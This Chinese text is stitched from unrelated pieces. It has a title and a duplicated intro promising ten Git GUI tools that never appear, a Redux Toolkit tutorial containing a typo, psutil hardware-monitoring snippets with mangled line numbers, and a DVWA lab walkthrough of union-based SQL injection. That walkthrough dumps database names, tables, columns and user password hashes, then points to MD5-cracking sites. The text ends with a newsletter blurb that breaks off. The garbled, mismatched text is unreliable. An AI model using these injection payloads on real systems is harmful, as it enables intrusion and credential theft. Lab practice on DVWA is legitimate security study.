程序员必备!10款实用便捷的Git可视化管理工具
前言
俗话说得好“工欲善其事,必先利其器”,合理的选择和使用可视化的管理工具可以降低技术入门和使用的门槛。我们在团队开发中统一某个开发工具的使用能够大大降低沟通成本,提高协作沟通效率。今天给大家分享10款实用便捷的Git可视化管理工具,
注意排名不分先后
希望能对各位小伙伴有所帮助。
假如您有更好的Git可视化管理工具推荐欢迎在评论区留言
俗话说得好“工欲善其事,必先利其器”,合理的选择和使用可视化的管理工具可以降低技术入门和使用的门槛。我们在团队开发中统一某个开发工具的使用能够大大降低沟通成本,提高协作沟通效率。今天给大家分享10款实用便捷的Git可视化管理工具,
注意排名不分先后
希望能对各位小伙伴有所帮助。
假如您有更好的Git可视化管理工具推荐欢迎在评论区留言
1. 简介:
Redux 是一种用于管理应用程序状态的 JavaScript 库。它是一个可预测的状态容器,可以用于编写
可维护和可扩展的应用程序。
@reduxjs/toolkit 是一个官方提供的 Redux 工具包,它可以帮助简化 Redux 应用程序的开发,并
提供常用的 Redux 原生方法,例如创建 Redux store、定义 reducer、处理异步操作等。
2. 用法:
首先,我们需要安装 @reduxjs/toolkit 和 react-redux
npm install @reduxjs/toolkit react-redux -S
1> 引入Provider,对根目录进行一个包装
import { Provider } from 'react-redux';
import store from './store/index.js';
const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(
<Provider store={srore}>
<App />
</Provider>
);
2> 编写store文件,利用@reduxjs/toolkit工具的configureStore创建store
import { configureStore } from '@reduxjs/toolkit';
import userReducer from './reducers/user';
const store = configureStore({
reducer: {
user: userReducer
}
});
export default store;
3> 编写store下的reducers/user文件
import { createSlice } from '@reduxjs/toolkit';
let userSlice = createSlice({
name: 'user',
initialState: {
isLogin: false,
loginCount: 0
},
reducers: {
addLoginCount(state) {
state.loginCount++;
},
addLoginCountByNum(state, action) {
state.loginCount += action.payload;
}
}
});
// 外部组件来使用的action
export const { addLoginCount, addLoginCountByNum } = userSlice.actions;
// 默认导出是所有的reducer 供store注册这些方法
export default userSlice.reducer;
4>使用store
import './App.css';
import { useState, memo } from 'react';
// 取出行为
import { addLoginCount, addLoginCountByNum } from './store/reducers/user';
import { useDispatch, useSelector } from 'react-redux';
// 在子组件中使用
// 这里的memo保证props发生变化时,才更新
const Son = memo(() => {
console.log('子组件更新.....')
const user = useSelector(state => state.user);
return <h1>我是子组件{user.loginCount}</h1>
})
function App() {
const user = useSelector(state => state.user);
const dispath = useDispatch();
const [num, setNum] = useState(1);
return (
<div className="App">
{user.isLogin ? 'TRUE' : 'FALSE'} || {user.loginCount} || {num}
<button onClick={e => dispath(addLoginCount())}>更改loginCount+1</button>
<button onClick={e => dispath(addLoginCountByNum(10))}>更改loginCount</button>
<button onClick={e => setNum(num + 1)}>变更父组件</button>
<Son />
</div>
);
}
export default App;
memo用法补充:
就如上边代码,在没有用memo包装前,每次修改num的值时,子组件都会随着更新。用memo包装后,组件Son不会随num值的改变而更新。但如果num的值传给了Son组件(
<Son num={num}/>
),Son组件也会跟随num的值的修改而更新了。大幅度使用会造成缓存越来越大,针对组件大一点且使用频率不是很高的情况下去使用。
最近一个项目的需求,在软件上加入硬件实时信息,大概搜索一下,没太好的结果,所以决定自己写一篇
我的代码不难发现,都使用了psutil包,为什么呢,别的包我没太关注,纯粹是这台机的环境上有这个包
如果大家没有这个包,使用pip工具安装一下即可,目前我还没发现兼容性问题
1 importpsutil2 3 4 #获取内存利用率 5 defget_mem_use():6 #get_all_info 7 all_info =psutil.virtual_memory()8 #已使用 / 总可用 9 memory_utilization = all_info.used /all_info.total10 #结果为浮点数 11 return memory_utilization
1 importpsutil2 3 4 #CPU利用率 5 cpu_utilization = psutil.cpu_percent()
1 importpsutil2 3 4 #获取CPU温度 5 defget_cpu_heat():6 temperatures =psutil.sensors_temperatures()7 cpu_temperatures = temperatures['coretemp']8 average_temperature = sum(sensor.current for sensor in cpu_temperatures) /len(cpu_temperatures)9 return average_temperature
’1 or 1 = 1#
1 or 1 = 1#
--
--+
%23
1 or 1 = 1#
1' or 1 = 1#
注:
get传参方式中大概率存在url编码
%20-->空格
%23--> 井号
%3d-->等号
加号可以代替空格
1' order by 1 --
1' order by 2 --
1' or 1 = 1 order by n --
判断列数可以使用二分法
假如只有两列,order by 3,那么就会报错-->用于判断列数
union:联合,合并。将多条查询语句的结果合并成一个结果
要求:
获取数据库中的信息:判断显示位
1' union select 1,2--
这里使用-1使union之前的语句查询无结果,则显示的时候就会显示union之后的第二条语句
DVWA:
ID: 1' union select 1,2 #
First name: admin
Surname: admin
ID: 1' union select 1,2 #
First name: 1 #显示位1
Surname: 2 #显示位2
获取数据库中的信息:用户、版本、数据库名
1' union select version(),user()#
常用函数:
user()返回当前使用数据库的用户
version()返回当前数据库版本
database()返回当前使用的数据库版本
DVWA
1' union select database(),user()#
ID: 1' union select database(),user()#
First name: admin
Surname: admin
ID: 1' union select database(),user()#
First name: dvwa #数据库名
Surname: root@localhost #用户名
获取数据库信息:
mysql中的user表中有两列:user,password两列中存在登录数据库的用户名和密码
1' union select 1,schema_name from information_schema.schemata
# 查询information_schema库中的schemeta表
DVWA
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: admin
Surname: admin
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: information_schema
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: challenges
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: dvwa
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: mysql
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: performance_schema
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: security
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: test
1' union select 1,table_name from information_schema.tables where table_schema = database()#
这一步可以跳过库查询
1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#
DVWA
ID: 1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#
First name: admin
Surname: admin
ID: 1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#
First name: 1
Surname: guestbook
ID: 1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#
First name: 1
Surname: users
1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = database() #
DVWA
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: admin
Surname: admin
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: user_id
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: first_name
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: last_name
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: user
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: password
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: avatar
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: last_login
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: failed_login
1' union select user,password from users #
DVWA
ID: 1' union select user,password from users #
First name: admin
Surname: admin
ID: 1' union select user,password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
字符串拼接
常用函数:
concat():将多个字符连接成一个字符串拼接
select concat('M','y','S','Q','L')
concat_ws():将多个字符串连接成一个字符串,但可以指定分隔符
select concat_ws('_','M','y','S','Q','L')
group_concat():将多行结果连在一起
select group_concat(user)from user;
DVWA
ID: 1' union select 1,concat_ws('_',user,password) from users #
First name: admin
Surname: admin
ID: 1' union select 1,concat_ws('_',user,password) from users #
First name: 1
Surname: admin_5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select 1,concat_ws('_',user,password) from users #
First name: 1
Surname: gordonb_e99a18c428cb38d5f260853678922e03
ID: 1' union select 1,concat_ws('_',user,password) from users #
First name: 1
Surname: 1337_8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select 1,concat_ws('_',user,password) from users #
First name: 1
Surname: pablo_0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select 1,concat_ws('_',user,password) from users #
First name: 1
Surname: smithy_5f4dcc3b5aa765d61d8327deb882cf99
https://cmd5.com/
https://www.somd5.com/
数据库自己的账号密码加密是mysql5的加密方式
本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
周刊全文:
https://pythoncat.top/posts/2024-01-27-weekly
以下是本期摘要: